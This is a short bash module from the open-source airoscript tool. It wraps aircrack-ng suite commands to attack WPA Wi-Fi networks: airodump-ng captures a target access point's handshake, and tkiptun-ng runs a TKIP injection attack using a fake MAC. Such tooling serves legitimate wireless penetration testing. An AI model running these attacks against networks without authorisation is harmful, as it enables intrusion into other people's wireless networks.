#!/bin/bash
# Wpa attack functions for airoscript
# Copyright (C) 2011 David Francos Cuartero
#        This program is free software; you can redistribute it and/or
#        modify it under the terms of the GNU General Public License
#        as published by the Free Software Foundation; either version 2
#        of the License, or (at your option) any later version.

#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#        GNU General Public License for more details.

#        You should have received a copy of the GNU General Public License
#        along with this program; if not, write to the Free Software
#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

# Warning! at least generic, internal and interface must be loaded before this one!

wpa_attacks(){
    attack=$1; shift;
    wpa_attacks_$attack $@
}

wpa_attacks_menu(){
    while true; do
        $clear; mkmenu "Select WPA Attack" "Standard attack" "Standard attack with QoS (WMM)"
        case $choice in
             1) wpa_attacks_handshake; $clear; break;;
             2) wpa_attacks_qos; $clear; break;;
        esac
    done
}

wpa_attacks_handshake(){
    $clear && hardclean
    execute "Capturing data on channel: $Host_CHAN"  $AIRODUMP -w $DUMP_PATH/$Host_MAC --bssid $Host_MAC --channel $Host_CHAN -a $wifi 
}

wpa_attacks_qos(){
     $clear && hardclean 
     ifconfig $wificard channel $Host_CHAN # Hope this is ok for all cards
     execute "Executing tkiptun-ng for ap $Host_MAC"  $TKIPTUN -h $FAKE_MAC -a $Host_MAC -m $TKIPTUN_MIN_PL -n $TKIPTUN_MAX_PL  $wifi 
}

